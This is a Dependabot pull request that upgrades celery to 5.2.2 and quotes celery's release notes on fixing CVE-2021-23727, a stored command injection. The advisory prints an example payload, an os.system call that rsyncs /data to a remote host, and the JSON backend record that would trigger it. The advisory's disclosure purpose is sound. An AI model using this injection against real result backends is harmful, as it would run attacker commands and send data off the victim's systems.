Cetus-GUI
Cetus-GUI copied to clipboard
Bump celery from 3.1.26.post2 to 5.2.2 in /backend
Bumps celery from 3.1.26.post2 to 5.2.2.
Release notes
Sourced from celery's releases.
5.2.2
Release date: 2021-12-26 16:30 P.M UTC+2:00
Release by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
v5.2.1
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
... (truncated)
Changelog
Sourced from celery's changelog.
5.2.2
:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:.. code-block:: python
{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
.. _version-5.2.1:
5.2.1
:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
... (truncated)
Commits
- See full diff in compare view
Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
-
@dependabot rebase
will rebase this PR -
@dependabot recreate
will recreate this PR, overwriting any edits that have been made to it -
@dependabot merge
will merge this PR after your CI passes on it -
@dependabot squash and merge
will squash and merge this PR after your CI passes on it -
@dependabot cancel merge
will cancel a previously requested merge and block automerging -
@dependabot reopen
will reopen this PR if it is closed -
@dependabot close
will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually -
@dependabot ignore this major version
will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) -
@dependabot ignore this minor version
will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) -
@dependabot ignore this dependency
will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) -
@dependabot use these labels
will set the current labels as the default for future PRs for this repo and language -
@dependabot use these reviewers
will set the current reviewers as the default for future PRs for this repo and language -
@dependabot use these assignees
will set the current assignees as the default for future PRs for this repo and language -
@dependabot use this milestone
will set the current milestone as the default for future PRs for this repo and language
You can disable automated security fix PRs for this repo from the Security Alerts page.